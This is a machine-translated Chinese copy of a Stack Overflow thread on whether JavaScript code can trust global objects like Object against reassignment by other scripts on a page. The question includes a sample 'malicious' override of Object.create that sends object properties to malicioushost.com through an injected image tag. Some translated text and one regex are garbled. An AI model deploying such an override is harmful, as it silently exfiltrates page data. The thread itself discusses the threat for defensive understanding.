在 JavaScript 中依赖全局本机对象是否安全,尤其是 Object 对象

Is it safe to rely on global native objects in JavaScript, particularly the Object one?

本文关键字:对象 是否 安全 尤其是 Object 本机 JavaScript 依赖 全局      更新时间:2023-09-26

首先,我知道,依赖Array构造函数通常是皱眉的,因为它可以被其他代码重新分配,这不是在严格模式下,而是应该使用数组文字[],在这种情况下,他总是依赖于本机的,真实的数组(还有一些其他含义,但这是主要的)

但是如何处理Object呢?有一些方法(createfreeze等)只能通过Object标识符访问。

我查看了AngularJS的源代码,发现作者依赖于这些对象(ObjectFunction)不会被重新分配的假设,所以我得出结论,没有更好的方法。但我想听听更有经验的人的意见。

所以问题是:如何保护自己的代码与其他JavaScript代码一起使用,免受重新分配的全局本机对象的影响?

更新

我的问题是关于安全问题的。因此,这是关于开发人员不能假设的情况:

  • 如果重新分配了对象,则其他任何内容都无法正常工作,所以不用担心
  • 站点
  • 管理员将正确测试他在其站点中包含的内容
  • 如果 Object 有一些方法并且它返回它所期望的,那么一切都很好

请以这种情况为例:

// the malicious code
var oldObj = Object,
    Object = {
        create: function(proto) {
            var secretProps = 'http://malicioushost.com/?'
            for (var prop in proto) {
                secretProps += encodeURIComponent(prop) + '=' + encodeURIComponent(proto[prop]) + '&'
            }
            var secretImg = document.createElement('img')
            secretImg.src = secretProps
            document.body.appendChild(secretImg)
            return oldObj.create.call(oldObj, proto)
     }
}
// the non-malign code
var foo = Object.create({prop1: 'foo', prop2: 'bar'})

这里的 Object.create 的行为与原始的完全一样

真诚地欣赏它。

首先,我知道,依赖 Array 构造函数通常是不受欢迎的,因为它可以被其他代码重新分配

不。Array构造函数不受欢迎的原因是因为它比仅仅说[]更冗长,而且界面令人困惑地不一致。(具体来说,如果x是数字,则new Array(x).length x,对于任何其他类型1......呃。

有一些库试图获取一些全局变量的自己的副本,以便在主机页面碰巧定义自己的变量Objectundefined时它们仍然可以工作,但它绝不是无懈可击的。

如何保护自己的代码与其他JavaScript代码一起使用,免受重新分配的全局本机对象的影响?

这不是一个可以解决的问题。JavaScript 没有提供足够的工具来建立有效的安全边界。几乎所有的对象、方法和属性都可以被破坏。

(无论如何,在语言层面上...使用浏览器,您可以使用跨域框架/沙盒、postMessage等将代码保存在不同的上下文中。但是,如果用户与之交互的界面元素发生在受感染的顶级页面上,则仍然不太可能提供多大帮助。

我不确定语言规范说了什么,但从这个来看,我可能不会。但是,我还要说,如果有人以这种方式弄乱您的JavaScript环境,那么您就没有足够一致的环境来完成任何有价值的事情,因此担心它是不值得的。

var d,
  origObj,
  o1,
  o2,
  o3;
origObj = Object;
d = document.getElementById('objectorno');
d.innerHTML = Object;
o1 = Object.create({});
d.innerHTML = d.innerHTML + '<br/><br/>' + o1;
Object = null;
d.innerHTML = d.innerHTML + '<br/><br/>' + Object;
o2 = {
  aprop: "this is a property of an object"
};
d.innerHTML = d.innerHTML + '<br/><br/>' + o2.aprop;
try {
  o3 = Object.create({});
  d.innerHTML = d.innerHTML + '<br/><br/>' + o3;
} catch (e){
  d.innerHTML = d.innerHTML + '<br/><br/>No more Object.create()';
}
<div id="objectorno"></div>

如果您需要检查本机代码是否实际上是本机代码并且没有被覆盖,则可以在使用它们之前简单地检查它们:

function isFuncNative(f) {
       return !!f && (typeof f).toLowerCase() == 'function' 
       && (f === Function.prototype 
       || /^'s*function's*('b[a-z$_][a-z0-9$_]*'b)*'s*'((|([a-z$_][a-z0-9$_]*)('s*,[a-z$_][a-z0-9$_]*)*)')'s*{'s*'[native code']'s*}'s*$/i.test(String(f)));
}

然后

if (isFuncNative(Object.create)){
    // Use Object.create
} else {
   alert("You naughty boy!");
}